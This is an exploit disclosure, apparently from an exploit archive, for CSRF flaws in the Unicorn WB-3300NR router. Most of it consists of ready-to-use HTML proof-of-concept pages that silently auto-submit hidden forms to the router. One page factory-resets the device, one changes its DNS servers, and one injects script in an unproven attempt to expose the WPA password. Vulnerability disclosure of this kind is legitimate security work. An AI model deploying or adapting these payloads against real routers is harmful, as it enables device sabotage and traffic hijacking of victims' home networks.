Unicorn Router WB-3300NR CSRF (Factory Reset/DNS Change)
# Exploit Title: Unicorn Router WB-3300NR CSRF (Factory Reset/DNS Change)
# Exploit Author: absane
# Blog: http://blog.noobroot.com
# Discovery date: October 29th 2013
# Vendor Homepage: http://www.eunicorn.co.kr/kimsboard7/_product.php?inc=wb-3300nr
# Tested on: Unicorn WB-3300NR v1.0
# Firmware Version: V5.07.18_ko_UIS02
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*Vulnerability*
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The WB-3300NR Unicorn Router suffers from numerous CSRF vulnerabilities.
Considering that by default the administrative pages do not require authentication, countless exploits exist.
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*Proof of Concept*
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1) Factory Reset
<html><body>
<iframe height=0 width=0 id="cantseeme" name="cantseeme"></iframe>
<form name="csrf_form" action="http://192.168.123.254/goform/SysToolRestoreSet" method="post" target="cantseeme">
<input type="hidden" name="CMD" value='SYS_CONF'>
<input type="hidden" name="GO" value='system_reboot.asp'>
<input type="hidden" name="CCMD" value='0'>
<script>document.csrf_form.submit();</script>
</body></html>
2) Alter the DNS Settings
<html><body>
<iframe height=0 width=0 id="cantseeme" name="cantseeme"></iframe>
<form name="csrf_form" action="http://192.168.123.254/goform/AdvSetDns" method="post" target="cantseeme">
<input type="hidden" name="GO" value='wan_dns.asp'>
<input type="hidden" name="rebootTag" value=''>
<input type="hidden" name="DSEN" value='1'>
<input type="hidden" name="DNSEN" value='on'>
<input type="hidden" name="DS1" value='8.8.4.4'>
<input type="hidden" name="DS2" value='8.8.8.8'>
<script>document.csrf_form.submit();</script>
</body></html>
3) WPA Password Disclosure (possibility)(not proven)
The following PoC code only demostrates that with CSRF and XSS, it might be possible to obtain the WPA password.
However, I have been unable to do so without forcing the router to revert to factory defaults.
<html><body>
<iframe height=0 width=0 id="cantseeme" name="cantseeme"></iframe>
<form name="csrf_form" action="http://192.168.123.254/goform/WizardHandle" method="post" target="cantseeme">
<input type="hidden" name="MACC" value='"; var x = ""; function y() {alert(def_wirelesspassword);} x = window.setTimeout(y,2000);//'>
<script>document.csrf_form.submit();</script>
</body></html>